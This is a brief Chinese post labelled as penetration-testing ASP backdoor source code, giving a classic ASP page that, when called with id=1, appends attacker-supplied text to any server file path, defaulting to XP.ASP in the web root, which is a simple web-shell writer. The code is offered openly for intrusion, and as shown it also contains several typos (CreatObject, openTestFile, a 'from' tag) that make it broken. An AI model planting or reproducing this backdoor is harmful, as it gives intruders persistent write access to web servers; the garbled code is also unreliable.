渗透asp后门源代码
CODE:
<%
on error resume next
id=request("id")
if request("id")=1 then
testfile=Request.form("name")
msg=Request.form("message")
set fs=server.CreatObject("scripting.filesystemobject")
set thisfile=fs.openTestFile(testfile,8,True,0)
thisfile.Writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
<from method="post" Action="保存"?id=1>
<input type="text" size="20" name="Name"
Value=<%=server.mappath("XP.ASP")%>>
<textarea name="Message">
</textarea>
<input type="Submit" name="send" Value="生成"
class=input>
</from>
<%end if%>